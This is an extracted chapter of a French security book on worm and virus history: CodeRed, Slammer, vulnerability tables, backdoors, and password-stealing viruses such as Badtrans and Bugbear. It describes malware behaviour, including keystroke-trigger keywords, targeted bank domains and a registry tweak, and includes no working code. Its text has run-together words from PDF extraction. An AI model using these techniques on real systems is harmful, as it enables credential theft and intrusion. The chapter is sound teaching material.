ouen 9 heures

5

. Alors que des ralentissements et des arrêts système sporadiques com-mencent à se faire sentir, la date du 20 est atteinte et l’infection s’arrête avec ceschiffres.

Plusieurs animations ont été produites pour montrer la rapidité de propagationde

CodeRed

. Jeff Brown, de CAIDA/UCSD (University of California, San Diego) enpropose une qui retrace l’infection du 19 juillet de 5 minutes en 5 minutes

6

.

1. EEYE (juin 2001), All versions of Microsoft Internet Information Services Remote buffer over-flow. (SYSTEM Level Access).http://www.eeye.com/html/Research/Advisories/AD20010618.html.2. MS01-033 : Unchecked Buffer in Index Server ISAPI Extension Could Enable Web ServerCompromise [MS01-033].3. MAIFFRET, Marc, (juillet 2001), Full analysis of the .ida "Code Red" worm.http://archives.neohapsis.com/archives/ntbugtraq/2001-q3/0016.html.4. CAIDA,

Cooperative Association for Internet Data Analysis

(juin 2002). CAIDA Analysis ofCode-Red.http://www.caida.org/analysis/security/code-red/.5. SANS, SysAdmin, Audit, Network, Security Institute (2001).

Practical Assignment for SANSGSEC Version 1.2E

– Code Red Worm Invasion. Sharon Bristow.http://www.sans.org/rr/paper.php?id=93.6. BROWN Jeff, (Juin 2001).

Animated gif of geographic spread of Code-Red worm

, http://www.caida.org/analysis/security/code-red/newframes-small-log.gif.

PAGET_Ch10 Page 268 Lundi, 11. avril 2005 5:23 17

269

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

10.3 S’affranchir de l’utilisateur, gagner en vitesse, diminuer en taille

Figure 10.11

Propagation de

CodeRed

le 19 juillet 2001 (Source

CAIDA

)

10.3.2 SLAMMER

Un an et demi après

Codered

, apparaît

Slammer

. Les leçons apprises n’ont pas vrai-ment servi. Le patch de sécurité bloquant la faille utilisée était connu depuis juillet2002

1

.

De nombreuses machines étaient vulnérables : elles n’avaient reçu ni le patch, nile service pack 3 pour Microsoft SQL 2000 et Microsoft Desktop Engine 2000.

De par sa conception,

Slammer

généra des arrêts de service en exploitant les fai-blesses de l’architecture réseau et des protocoles (attaque en déni de service distribué

1. MS02-039 – Buffer Overruns in SQL Server 2000 Resolution Service Could Enable Code Exe-cution.

PAGET_Ch10 Page 269 Lundi, 11. avril 2005 5:23 17

270 Chapitre 10. Dernières évolutions et perspectives

– DDoS). Tout comme la première version de

CodeRed

en juillet 2001, sa propaga-tion se fit exclusivement en mémoire vive. Aucun code viral ne fut écrit sur le disquedur. C’est au travers du port de service UDP 1434 que le ver envoya sa trame de don-nées.

Une fois la machine compromise, le ver cherchait à se réexpédier via ce mêmeport vers des séries d’adresses IP qu’il générait aléatoirement au travers d’une boucleinfinie. Consommant ainsi de plus en plus de bande passante, il en résulta un ralen-tissant du trafic allant même jusqu’au blocage dans certaines zones du WEB.

L’attaque débuta le samedi 25 janvier 2003 à 5h30 GMT

1

. En 3 minutes, Slammeravait atteint son niveau maximal d’activité en effectuant 55 millions de scans à laseconde. En théorie, les spécialistes estimèrent qu’une machine infectée ayant unaccès à 100 Mb aurait été à même d’effectuer 30.000 scans à la seconde.

En 10 minutes, 90 % des machines vulnérables étaient atteintes et le niveaud’activité du ver baissa faute de bande passante suffisante.

Selon les sources c’est entre 75.000 et 350.000 machines qui furent infectées2. Lechiffre le plus élevé est sans doute le plus probable.

L’impact le plus important a été rencontré en Corée du Sud dès le début de l’atta-que3. Le mardi suivant, le réseau de la poste italienne subit à son tour d’importantsblocages qui entraînèrent de graves disfonctionnements dans ses 14.000 agences4.

D’autres pays tels que les États-Unis, l’Asie du Sud Est, le Japon et l’Inde ont euxaussi été fortement touchés. L’une des conséquences du ver fut l’indisponibilité de5 des 13 serveurs de noms DNS5.

Avec Slammer, nous semblions aussi assister à une recherche d’optimisation dansla taille du code. Nimda pesait 60 kilo-octets, CodeRed, 4 kilo-octets alors qu’iciSlammer se limitait à 376 octets.

1. CAIDA, (2003), Analysis of the Sapphire Worm – A joint effort of CAIDA, ICSI, SiliconDefense, UC Berkeley EECS and UC San Diego CSE. http://www.caida.org/analysis/security/sap-phire.2. SECURITYFOCUS (11 juin 2003), Antivirus industry steamed over virus article, collegeclass. http://www.securityfocus.com/news/5698SECURITYFOCUS, (15 août 2003), Blaster’s Microsoft Attack Fizzles. http://www.securityfocus.org/news/6736.3. COMPUTER WORLD (27 février 2003), Local networks unscathed by Slammer virus, Com-puters & Security, Volume 8 N°4 (1989), pp 325-344. http://www.phangnaughton.com/sophos_clippings/feb03/phil/022703CW.pdf4. AFP, (2003), Italy hit by serious Internet attack.http://www.metimes.com/2K3/issue2003-5/reg/italy_hit_by.htm.5. SEARCHSECURITY, (25 janvier 2003), Update: SQL worm slows Internet; some root DNS ser-vers down. http://www.metimes.com/2K3/issue2003-5/reg/italy_hit_by.htm.

PAGET_Ch10 Page 270 Lundi, 11. avril 2005 5:23 17

271©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it10.4 Utiliser des failles

La rapidité de propagation fut aussi un point fort de cette histoire. Des expertsont néanmoins découvert plusieurs faiblesses dans son générateur aléatoire. Celles ciont entraîné un déficit de qualité dans la distribution des adresses IP servant de baseà la génération des adresses cibles.

Certains s’attendent donc à d’autres propagations encore plus explosives et dan-gereuses dans un futur plus ou moins proche.

Il faut enfin se réjouir de l’absence de charge finale (payload). Si un module dedestruction quelconque avait été associé au ver, les dégâts auraient pu s’avérer catas-trophiques.

10.4 UTILISER DES FAILLES

Il est possible de définir une vulnérabilité comme une caractéristique d’un systèmeinformatique qui permet, à un instant donné, à une personne d’entraver son fonc-tionnement normal. Cette caractéristique peut aussi permettre à un utilisateur nonautorisé de prendre le contrôle de ce système. Face à elle se situe l’exploit. C’est unprogramme ou une technique permettant d’utiliser la vulnérabilité découverte ausein du logiciel informatique prédéfini.

L’étalage de nouvelles vulnérabilités et la mise à disposition de codes correspon-dants sont des aides à la conception. Selon le CERT (Coordination center computerEmergency Response Team), leur nombre a été multiplié par 10 en 3 ans1. Windowsen a été la principale victime.

Figure 10.12 — Évolution du nombre des vulnérabilités entre 1995 et 2003

1. CERT (7 mai 2003), CERT/CC Overview, Disponibles à l’adresse : http://www.cert.org/present/cert-overview-trends/module-1.pdf.

PAGET_Ch10 Page 271 Lundi, 11. avril 2005 5:23 17

272 Chapitre 10. Dernières évolutions et perspectives

Il serait fastidieux de lister l’ensemble des vulnérabilités qui peuvent, ou quipourraient permettre à un virus de se propager ; il y en a plusieurs centaines. Lesprincipales ont déjà été citées dans le chapitre dédié aux vers. Elles sont, pour la plu-part, rappelées dans le tableau présenté plus avant dans ce paragraphe.

L’importance du phénomène d’est plus à démontrer. Le nombre de vulnérabilitésaugmente, le nombre d’exploits aussi.

La facilité de propagation de W32/Lovsan.A.worm prouve qu’il reste bien du che-min à parcourir.

Figure 10.13 — Seul une alerte majeur incite les utilisateurs à appliquer les patchs – Exemple de W32/Lovsan.worm

Tableau 10.2 — Principales vulnérabilités liées à l’environnement Microsoft

RÉFÉRENCEMICROSOFT

DÉSIGNATION DE LA VULNÉRABILITÉ QUELQUES EXEMPLES

MS99-001 Exposure in Forms 2.0 TextBox Control that allows data to be read from user’s Cli-pboard

W97M/Footprint

MS99-002 Word 97 Template W97M/ATU.A

MS99-007 Taskpads Scripting Vulnerability Active-X hostile

MS99-011 « DHTML Edit » Vulnerability Active-X hostile

MS99-032 Scriptlet typelib /Eyedog JS/Kak@MVBS/Bubbleboy@MM

MS99-042 IFRAME ExecCommand AX/Frame-Exploit

MS99-048 « Active Setup Control » Vulnerability Active-X hostile

MS00-011 VM File Reading Vulnerability Java hostile

PAGET_Ch10 Page 272 Lundi, 11. avril 2005 5:23 17

273©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it10.4 Utiliser des failles

RÉFÉRENCEMICROSOFT

DÉSIGNATION DE LA VULNÉRABILITÉ QUELQUES EXEMPLES

MS00-034 Office 2000 UA Control Scripting VBS/Davinia@MMAX/OUA-Exploit

MS00-037 HTML Help File Code Execution W32/Blebla.B@MMVBS/Exploit-AM

MS00-052 Relative Shell Path W32/CodeRed.C.worm (Tro-jan)

MS00-075 Microsoft VM ActiveX Component VBS/Loding.A@MMW32/Korvar@MM

MS00-078 Web Server Folder Traversal SunOS/BoxPoison (aspect gachette)W32/Nimda.A@MM

MS00-081 New Variant of VM File Reading Vulnera-bility

Java hostile

MS01-010 Outlook, Outlook Express VCard Handler Contains Unchecked Buffer

Malformed vCard Exploit

MS01-020 Incorrect MIME Header CAN-2001-0154 W32/Fever@MW32/Nimda@MMW32/Badtrans@MMW32/Klez@MMW32/Yaha@MMW32/Frethem@MMW32/Lirva@MMW32/Bugbear@MM

MS01-028 RTF document linked to template can run macros without warning

W97M/Gogaru.A

MS01-033 Unchecked Buffer in Index Server ISAAPI Extension Could Enable Web Server Com-promise (superseded by MS01-044)

W32/CodeRed.A.worm

MS01-038 Outlook View Control Exposes Unsafe Functionality

AX/OVC-Exploit.demo

MS01-044 Cumulative Patch for IIS W32/Nimda.A@MM

MS02-005 Cumulative Patch for Internet Explorer JS/Exploit-Messenger

MS02-008 XMLHTTP Control Can Allow Access to Local Files

Exploit-XMLhttp

MS02-015 Cumulative Patch for Internet Explorer W32/Eyeveg.wormW32/Mimail@MM

MS02-039 SQL Server UDP Buffer Overflow Remote Exploit

DDoS-SQLhucW32/SQLSlammer.worm

PAGET_Ch10 Page 273 Lundi, 11. avril 2005 5:23 17

274 Chapitre 10. Dernières évolutions et perspectives

RÉFÉRENCEMICROSOFT

DÉSIGNATION DE LA VULNÉRABILITÉ QUELQUES EXEMPLES

MS02-047 Cumulative Patch for Internet Explorer JS/Exploit-DialogArg

MS03-001 Unchecked Buffer in Locator Service Could Lead to Code Execution

W32/Gaobot.AA.worm

MS03-007 Security Update for Microsoft Windows W32/Nachi.worm

MS03-008 Flaw in Windows Script Engine Could Allow Code Execution

JS/Exploit-MS03-008

MS03-011 Flaw in Microsoft VM Could Enable Sys-tem Compromise (816093)

Exploit-Byteverify

MS03-014 Cumulative Patch for Outlook Express W32/Mimail@MM

MS03-026 Buffer Overrun In RPC Interface Could Allow Code Execution

W32/Blaster.wormW32/Lovsan.wormW32/Nachi.wormIRC/Rootbot W32/Plexus.A@MM

MS03-032 Cumulative Patch for Internet Explorer VBS/Inor & Downloader-EDExploit-MS03-032.dr

MS03-039 Buffer Overrun In RPCSS Service Could Allow Code Execution

W32/Raleka.wormW32/Gaobot.AA.wormW32/Dinkdink.wormW32/Stdbot.worm

MS03-040 Cumulative Patch for Internet Explorer (828750)

Qhost-1

MS03-043 Buffer Overrun in MessengerService Could Allow Code Execution

Exploit-MS03-043

MS03-049 Buffer Overrun in the Workstation Service Could Allow Code Execution

Exploit-MS03-049

MS03-051 Buffer Overrun in Microsoft FrontPage Server Extensions Could Allow Code Exe-cution

Exploit-MS03-051

MS04-004 Cumulative Security Update for Internet Explorer (832894)

VBS/Psyme

Cross-Domain Vulnerability JS/Exploit-WhoFramed

Drag-and-Drop Operation Vulnerability JS/Exploit-DragDrop

Improper URL Canonicalization Vulnerabi-lity

Exploit-URLSpoof.gen

MS04-007 ASN .1 Vulnerability that Could Allow Code Execution (828028)

Exploit-MS04-007

PAGET_Ch10 Page 274 Lundi, 11. avril 2005 5:23 17

275©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it10.4 Utiliser des failles

Même s’il est souvent accusé, Microsoft n’est pas le seul à reconnaître et à corri-ger des déficiences liées à ses produits. Les autres environnements et certains de leursapplicatifs sont également vulnérables à un instant donné. Comme le montre letableau suivant, la seule consultation des encyclopédies virales est là pour en donnerun large échantillon.

Tableau 10.3 — Nombre approximatif de vulnérabilités citéesdans l’encyclopédie virale McAfee

RÉFÉRENCEMICROSOFT

DÉSIGNATION DE LA VULNÉRABILITÉ QUELQUES EXEMPLES

MS04-011 LSASS vulnerability CAN-2003-0533 W32/Gaobot.wormW32/Sasser.wormW32/Cycle.wormW32/Bobax.wormW32/Stdbot.worm

MS04-013 Cumulative Security Update for Outlook Express (837009)

W32/Wallon.worm.AExploit-MhtRedir.gen

MS04-028 Buffer Overrun in JPEG Processing (GDI+) Could Allow Code Execution

HTool/Exp-MS04-028

MS04-032 Graphics Rendering Engine Vulnerability – CAN-2004-0209:

HTool-Exp.MS04-032!gdiW32/Golten.A

MS05-001 Vulnerability in HTML Help Could Allow Code Execution (890175)

Exploit-HelpZonePassJS/Exploit-HelpXSite

MS05-002 Vulnerability in Cursor and Icon Format Handling Could Allow Remote Code Exe-cution (891711)

Exploit-LoadImgAPIExploit-ANIfile

MS05-009 Vulnerability in PNG Processing Could Allow Remote Code Execution (890261)

Exploit-PNGfile

PLATEFORME VULNÉRABILITÉS CITÉES QUELQUES EXEMPLES

AVIRT Mail Server Moins de 10 Exploit-AVBOAvirt 3.3a Bubber Overflow

AX Moins de 10 AX/CHM-ExploitBackDoor-FB.svr Display Pentium3 IDAX/CPU-Thief

BADBLUE Web Server Moins de 10 Exploit-BadblueRemote exploit for Badblue 1.5

BSD Moins de 10 BSD/Exploit-Autofsd BSD/Scalper.worm

PAGET_Ch10 Page 275 Lundi, 11. avril 2005 5:23 17

276 Chapitre 10. Dernières évolutions et perspectives

PLATEFORME VULNÉRABILITÉS CITÉES QUELQUES EXEMPLES

BLACKICE Moins de 10 W32/Witty.worm ISS/PAM ICQ module vulnerability

CISCO Moins de 10 Exploit-CGECisco Global ExploiterExploit-CIOS.src IOS vulverabilityExploit-Ciskill

Compaq Insight Manager

Moins de 10 Exploit-CIMRot Dot Dot Bug

Gatekeeper Moins de 10 Exploit-GkWarez

HOTMAIL Moins de 10 Exploit-Hotmail

HTML Moins de 10 HTML/CrashIE

IIS Plus de 25 Exploit-IIS.CrackIIS 5.0 exploitExploit-IIS.Hack Buffer overflowIIS malformaed URLTool-SyaPowa Exploit-IIS.NulPrint Null print ExploitExploit-IIS.PrintPrint Overflow / IIS 5.0Exploit-IIS.UnicodeUnicode/Encode vulnerability

IRC Moins de 10 Exploit-IRC.Slap

JS Plus de 50 JS/Exploit-ICQ.SCM W32/Bizex.wormJS/Exploit-IndexRunJS/Exploit-Linkiller

JV Moins de 10 JV/Exploit-XMLhttp

LINUX Plus de 50 Linux/SlapperBuffer Overflows in OpenSSL (CAN-2002-0656)Linux/Exploit-CrisCras(CERT Incident ssh1 crc-32 compen-sation)Linux/Exploit-Honeymoon (CERT advisory CA-2001-33 Multiple Vulnerabilities in wu-ftpd)Linux/Exploit-Lsub (imapd Remote Exploit using Buffer Overflow)Linux/Exploit-SendMail (CERT Advisory CA-2003-07 Remote Buffer Overflow in Sendmail)

PAGET_Ch10 Page 276 Lundi, 11. avril 2005 5:23 17

277©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it10.5 Distribuer une porte dérobée

10.5 DISTRIBUER UNE PORTE DÉROBÉE

Deux mois environ après sa première version, une nouvelle variante de CodeRed :W32/CodeRed.c.worm (alias Code Red II) fit son apparition. Réécriture de la versionoriginale, elle contenait un générateur d’adresses IP plus performant que les précé-dents et une porte dérobée que le ver implantait sur la machine contaminée.

PLATEFORME VULNÉRABILITÉS CITÉES QUELQUES EXEMPLES

LNK Moins de 10 LNK/Exploit-VortLink

OpenType font type Moins de 10 OTF/Exploit-Restart

OTF Moins de 10 OTF/Exploit-Restart

PERL Moins de 25 PERL/PBO-Exploit Printer Buffer OverflowPERL/WSFT-Exploit Web Server Folder Transversal

PHP Moins de 10 PHP/Exploit-Apache PHP/Exploit-IISExploit-phpBBPHP/Exploit-SafeMode

SOLARIS Moins de 10 Exploit-Sadmind.demo

SunOS Moins de 10 CVE-1999-0977Sun Security Bulletin #00191 / Solaris sadmind Buffer Overflow Vulnerabi-lity)SunOS/Exploit-Cmsd SunOS/Exploit-Ttdbsrv

UNIX Plus de 100 UNIX/Exploit-Aix5LUNIX/Exploit-HPUX UNIX/Exploit-Melange UNIX/Exploit-Samba UNIX/Sorso.worm

UNIX like Plus de 25 Exploit-Ansi Exploit-Jbellz Exploit-Njob Exploit-RootBugExploit-Shellcode Exploit-SolGetSu

VIRUSWALL Moins de 10 Exploit-Beavuh VirusWall NT 3.23/3.3Exploit-Jill

PAGET_Ch10 Page 277 Lundi, 11. avril 2005 5:23 17

278 Chapitre 10. Dernières évolutions et perspectives

Dans ce cas précis, la porte dérobée utilisait une vulnérabilité de Windows 2000intitulée Relative Shell Path Vulnerability et référencée comme MS00-052. Parfoisnommée Trojan.VirtualRoot, celle ci peut permettre à un utilisateur malintentionnéde créer de nouveaux répertoires racine dans une configuration d’IIS et d’exécuter lecode de son choix dès qu’un autre utilisateur s’y connecte.

Cette association entre virus et outils de piratage est une autre tendance mar-quant notre époque. Longtemps le monde du hacking s’est différencié de celui desauteurs de virus. Mais aujourd’hui, de nombreux exemples apparaissent ou les virusdiffusent des outils à même de vulnérabiliser le système et de briser la confidentialitédes documents qu’il renferme.

Socket23 en 1998 (alias W32/Cheval, Win32/HLLP.DeTroie) et W95/Kuang en1999 (alias W95/Weird) furent les pionniers. En 2001 plus d’une dizaine de virustransportaient ou contenaient une porte dérobée ; on en notait une trentaine en2002. Il y en a maintenant plusieurs centaines chaque année. Citons parmi eux :

• W32/MyParty.A@MM (janvier 2002).• W32/Zoec@MM (juin 2002).• W32/Lovgate.C@MM (février 2003).• W32/Deloder.worm (mars 2003).• W32/Deborm.worm.q (mars 2003).

Les virus W32/Bugbear.@MM que nous retrouverons plus en détail dans la suitede ce chapitre possédent également une porte dérobée. Une fois connecté sur lamachine infecté, le pirate était à même de :

• capturer les informations liées à la machine infectée,• télécharger des fichiers,• lancer un exécutable,• détruire des fichiers,• lister et stopper les processus en mémoire,• démarrer le renifleur de clavier,• démarrer le serveur http sur un port particulier.

Les figures suivantes issus de l’encyclopédie F-Secure présentent l’interfaceHTTP ainsi mise en place1.

1. ENCYCLOPEDIE F-SECURE, F-Secure Virus Descriptions : Bugbear.B.http://www.f-secure.com/v-descs/bugbear_b.shtml.

PAGET_Ch10 Page 278 Lundi, 11. avril 2005 5:23 17

279©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it10.5 Distribuer une porte dérobée

Figure 10.14 — Physionomie du serveur HTTP installépar W32/Bugbear.B@MM

Figure 10.15 — Physionomie du serveur HTTP installépar W32/Bugbear.B@MM

PAGET_Ch10 Page 279 Lundi, 11. avril 2005 5:23 17

280 Chapitre 10. Dernières évolutions et perspectives

10.6 PORTER ATTEINTE À LA CONFIDENTIALITÉ

La porte dérobée n’est pas l’unique procédé portant atteinte à la confidentialité. Ladiffusion d’informations confidentielles à l’insu de l’utilisateur est une autre activitémise en œuvre par les virus actuels. W32/Sircam@MM, apparu en juillet 2001 estl’un de ceux-là.

Il reste classique dans son mode de propagation (via le carnet d’adresses oud’autres adresses trouvées dans certains répertoires et partages réseaux).

Il réexpédie également des fichiers se trouvant dans le répertoire Mes documentset lorsque le destinataire ouvre l’attachement, il voit s’afficher un document volé àl’expéditeur. Cela permet de mieux masquer l’infection du ver.

W32/Magistr.A@MM (mars 2001) et W32/Magistr.B@MM (décembre 2001)comportent aussi une routine particulière : Si une connexion Internet active est pré-sente, ils recherchent des fichiers DOC et TXT et sélectionnent un nombre de motsaléatoires au sein d’un de ces fichiers pour construire le sujet et le corps du messageélectronique qu’ils envoient. Ils infectent ensuite un exécutable, l’attachent au mes-sage électronique et l’expédient.

Dans plus d’un cas sur cinq, ces deux virus attachent aussi au message un fichierDOC ou TXT qu’ils ont trouvé sur le système1.

Citons encore W32/Klez.H@MM qui peut se propager accompagné d’un fichierpris au hasard sur le disque dur de la victime (TXT, HTM, HTML, WAB, ASP,DOC, RTF, XLS, JPG, CPP, C, PAS, MPG, MPEG, BAK, MP3 ou PDF). Là aussi, ily a un risque certain pour la confidentialité des données.

Par l’entremise de certains virus cités plus haut, j’ai personnellement reçu desdocuments émanant d’un Conseil Général d’Ile de France, et d’une institutrice ;cette dernière annotait sur son ordinateur les appréciations qu’elle attribuait à sesélèves.

J’ai également reçu des brides de journaux intimes qui n’auraient jamais dû meparvenir…

10.7 FAIRE LA COLLECTE DE MOTS DE PASSE

La collecte de mots de passe est un autre challenge. Des chevaux de Troie particu-liers que je dénomme renifleurs de mot de passe (en anglais PassWord Stealer – PWS)savent parfaitement réaliser ce travail.

1. ENCYCLOPEDIE KASPERSKY, I-Worm.Magistr. http://www.avp.ch/avpve/worms/email/magistr.stm.

PAGET_Ch10 Page 280 Lundi, 11. avril 2005 5:23 17

281©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it10.7 Faire la collecte de mots de passe

Tout comme pour les portes dérobées, la tâche première est l’introduction et lelancement de l’outil dans la machine corrompue. Là aussi les pirates informatiquesont compris que le virus pouvait leur être un partenaire de choix.

L’exemple de W32/Badtrans.B@MM en est un parfait exemple. Dans ce cas pré-cis, l’outil implanté s’apparente en fait à un renifleur de clavier.

Ce virus a été découvert en novembre 2001. Associé à un envoi massif de mails,il dépose et active son cheval de Troie (PWS-Hooker.dll) afin d’enregistrer certainesfrappes de l’utilisateur.

Chaque seconde, le programme analyse l’intitulé de la fenêtre active à la recher-che des chaînes de caractères LOG, PAS, REM, CON, TER et NET qui forment ledébut des mots anglais LOGon, PASsword, REMote, CONnection, TERminal etNETwork. Des séquences correspondantes à ces même mots en langue russe sontaussi présentes dans le code ; elles nous dévoilent peut-être ainsi le pays d’origine duvirus ?

Si l’un des mots est intercepté, l’enregistrement des frappes clavier est activépour 60 secondes et le fichier constitué est automatiquement envoyé comme piècejointe d’un message à destination d’une adresse choisie dans une liste préétablie1.

L’un des serveurs SMTP vers lesquels des messages étaient réexpédiés futmail.monkeybrains.net. La presse se fit l’écho de la demande que le FBI2 effectuaauprès de ce fournisseur d’accès américain. Il cherchait à récupérer les donnéesdétournées par le virus vers l’adresse [email protected] (sic !). Lecompte fut désactivé, mais le fournisseur d’accès (monkeybrain.net) semble avoirrefusé de livrer les informations3.

En septembre 2002 et en juin 2003, les versions A et B de W32/Bugbear@MM,variantes de Badtrans, reprenaient plusieurs tendances relevées depuis 2001. Outre laroutine d’expédition par courrier électronique :

• Elles se propageaient au travers des réseaux locaux partagés en droit d’accèsd’écriture.

• Elles installaient sur la machine un outil renifleur de clavier.• Elles mettaient en place une porte dérobée (port 36794, variante A – port

1080, variante B).• Elles portaient atteinte à la confidentialité des données en répondant aux

messages présents dans la boite de réception tout en choisissant un destina-taire autre que l’expéditeur convenu.

• Elles semblaient être capable de re-expédier en tant que corps de message desparties de textes relevés sur la machine infectée.

1. FERRIE, Peter & SZOR, Peter (février 2002), Bad Transfer, Virus Bulletin, février 2002, pp 8-9-10.2. FBI : Federal Bureau of Investigation.3. SAIZ, Jérôme (décembre 2001), Les données dérobées par le virus BadTrans intéressent le FBI.http://www.01net.com/rdn?oid=171867&rub=2135.

PAGET_Ch10 Page 281 Lundi, 11. avril 2005 5:23 17

282 Chapitre 10. Dernières évolutions et perspectives

W32/Bugbear.B@MM contenait également une longue liste de domaines liés auxactivités bancaires1. Il nous faudrait plusieurs pages pour lister ici les centaines desites concernées. J’ai retenu ici les quelques banques françaises ciblées par le virus :

banquepopulaire.fr, bics.fr, bpic.fr, bpnord, frbred.fr, ca-alpesprovence.fr, ca-alsace-vosges.fr, ca-midi.fr, ca-normand.fr, ccf.fr, cin.fr, covefi.fr, cpr.fr, credit-agricole.fr, credit-du-nord.fr, creditlyonnais.fr, creditmutuel.fr, caisse-epargne.fr, eurocardmastercard.tm.fr, nxbp.fr, smc.fr, transat.tm.fr.

Au démarrage de la machine, si celle-ci appartient à l’un des domaines cités plushaut, la clé de registre responsable du processus de numérotation automatique estdésactivée :

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ InternetSettings "EnableAutodial" = 00 00 00 00

Le virus recherche alors les mots de passe présents dans la mémoire cache et lesenvoient à une adresse prédéfinie choisie aléatoirement dans une liste. Une fois cetravail effectué, il restaure la clé de registre. Ce processus rend particulièrement vul-nérable ces machines qui, rappelons-le, ont également une porte dérobée mise à ladisposition du pirate par le virus.

Récemment, d’autres virus se sont intéressés à la collecte de mots de passe liésaux activités bancaires. Certains virus de la famille W32/Mimail@MM s’en font unespécialité. W32/Mimail.I@MM présente à l’utilisateur infecté une fenêtre qui imitecelles proposées par le service de paiement sécurisé PayPal. Il cherche ainsi à extor-quer le code secret des cartes bancaires pour l’envoyer par courrier électronique à desindividus qui pourraient ensuite s’en servir.

Figure 10.16 — Écran présenté par le virus W32/Mimail.i@MM

1. ENCYCLOPEDIE NAI, W32/Bugbear.b@MM. http://vil.nai.com/vil/content/v_100358.htm.

PAGET_Ch10 Page 282 Lundi, 11. avril 2005 5:23 17

283©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it10.8 Savoir se mettre à jour

L’intérêt d’une telle collecte d’informations devient vite obsolète. Une foisl’effet de surprise passé, le virus perd sa raison d’être. Dans la plupart des cas, les sitesmiroirs ou adresses mails dédiés à la réception des informations capturées sont viterepérés et fermés. Les auteurs envisagent alors une nouvelle version, qu’ils espèrentplus performante.

Afin d’éviter de fâcheuses interférences entre leurs diverses créations, ils déci-dent eux-mêmes de la durée de vie de chacune d’entres elles. L’un des exemples estW32/Sobig@MM. Ce virus et ses variantes a fait l’objet d’une étude complète par leLURHQ Threat Intelligence Group ; j’en conseille fortement la lecture1.

10.8 SAVOIR SE METTRE À JOUR

Alors qu’il travaillait encore chez Trend Micro, Marc Blanchard a réalisé une étudedes processus de communication et de survie des prochains virus. Il s’est basé pourcela sur des travaux en cours dans la communauté des créateurs de virus (Benny/29A) qui imaginaient un protocole particulier offrant un canal de communicationfurtif et chiffré entre tous les virus qui souhaiteraient l’utiliser.

« Les virus installés sur le système pourront communiquer avec un module centralappelé Virus Communication Interface (VCI). Cette interface utiliserait les mécanismesd’IPC (Inter Process Communication) ou le protocole WormNET pour favoriser leséchanges d’information entre les virus et leur donner des ordres. Car ce sont des virusmodulaires, totalement différents de ceux que nous connaissons aujourd’hui. Ils arriventvides sur le système, prêts à recevoir n’importe quel code malicieux de la VCI », expliqueMarc2.

Tableau 10.4 — Les dates de fin de propagation des variantes de W32/Sobig@MM

Variante Date de découverte Date de fin de vie programmée

A 9 janvier 2003 absente

B 18 mai 2003 31 mai 2003

C 31 mai 2003 8 juin 2003

D 18 juin 2003 2 juillet 2003

E 25 juin 2003 14 juillet 2003

F 18 août 2003 10 septembre 2003

1. LURHK (2003a), Sobig.a and the Spam You Received Today. http://www.lurhq.com/sobig.html.LURHK (2003b), Sobig.e – Evolution of the Worm. http://www.lurhq.com/sobig-e.html.LURHK (2003c), Sobig.f Examined. http://www.lurhq.com/sobig-f.html.2. BLANCHARD, Marc, (2002), Etude des processus de communication et de survie des prochainsvirus. Disponible sur demande auprès de son auteur.

PAGET_Ch10 Page 283 Lundi, 11. avril 2005 5:23 17

284 Chapitre 10. Dernières évolutions et perspectives

Tout cela n’est aujourd’hui que de la science-fiction ; néanmoins, et pour mieuxse propager, les virus actuels cherchent à communiquer pour leur propre compte. Lebrésilien Vecna, ancien membre du groupe 29A, l’a démontré avec deux de ses virus.

Le 3 décembre 1999, W95/Babylonia@M fut trouvé dans le groupe de discussionalt.crackers sous forme d’un fichier d’aide intitulé serialz.hlp1. Ce fichier était supposécontenir plus de 17000 numéros de licence pour logiciels non enregistrés ; il n’enétait rien !

L’ouverture du fichier, initialisait la propagation du virus, via la messagerie élec-tronique (protocole SMTP) et, sur le système local.

Un fichier de 4 kilo-octets BABYLONIA.EXE était copié dans la racine C:\. Parcette porte dérobée, le virus tentait de se connecter périodiquement au Japon surl’un des sites de l’auteur afin d’espérer pouvoir se mettre à jour et changer ses carac-téristiques. Quatre modules additionnels (plug-ins) – au moins – furent ainsidiffusés :

• DROPPER.DAT pour réinstaller le virus après une désinfection incomplète.• GREETZ.DAT pour afficher un message à compter du 15 janvier :

W95/Babylonia by Vecna (c) 1999Greetz to RoadKil and VirusBusterBig thankz to sok4ever webmasterAbracos pra galera brazuca!!!---Eu boto fogo na Babilonia!

• IRCWORM.DAT pour une propagation via les canaux mIRC2.• POLL.DAT pour informer par e-mail l’auteur du virus afin qu’il puisse comp-

tabiliser les infections.

La fermeture des pages incriminées fut plusieurs fois demandée au fournisseur deservice Internet hébergeant les pages personnelles de Vecna. Le 8 décembre, lesfichiers furent indisponibles. Et Vecna écrivait sur sa page d’accueil :

The "BABYLONIA" which now spreading knock the world .Surely.i admit "This virus make use of SOK4EVER".Our Plicy is not "Do many people harm" but " Freedom Of Speech"but.it’s activity doesnt match my plicy.i never plan to "do harm"so i delete this account immidiately."http://sok4ever.zone.ne.jp/vecna" doesn’t exist anymore.i made this site for "someone who want to know Virus Infomation can easily find "Of cause All of this site contens are for Your Own Risk! and i dont hava any responsibility whatever you suffer.

1. VAN OERS, Marius (février 2000), Digital Rivers of Babylonia. Virus Bulletin, février 2000,pp6-7.2. mIRC : dialogue en direct sur l’Internet Relay Chat.

PAGET_Ch10 Page 284 Lundi, 11. avril 2005 5:23 17

285©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it10.8 Savoir se mettre à jour

Environ un an plus tard en septembre 2000, Vecna diffusait W32/[email protected]’idée de ce virus lui vint juste après la diffusion de Babylonia, alors qu’il constatait àses dépends que pour bloquer les mutations, il suffisait de fermer le site initiateur.

Tout comme son prédécesseur, Hybris arrivait par mail sous la forme d’une piècejointe. Son exécution entraînait son installation. Selon les cas (en fonction des plug-ins associés), le virus affichait une spirale ou un cercle noir; il pouvait aussi entraînerl’inaccessibilité à certains sites anti-virus du commerce.

Ayant perfectionné son idée initiale le virus utilisait un forum de discussion poury trouver les modules recherchés. Vecna avait choisi pour cela un forum non modéréet très couru : alt.comp.virus.

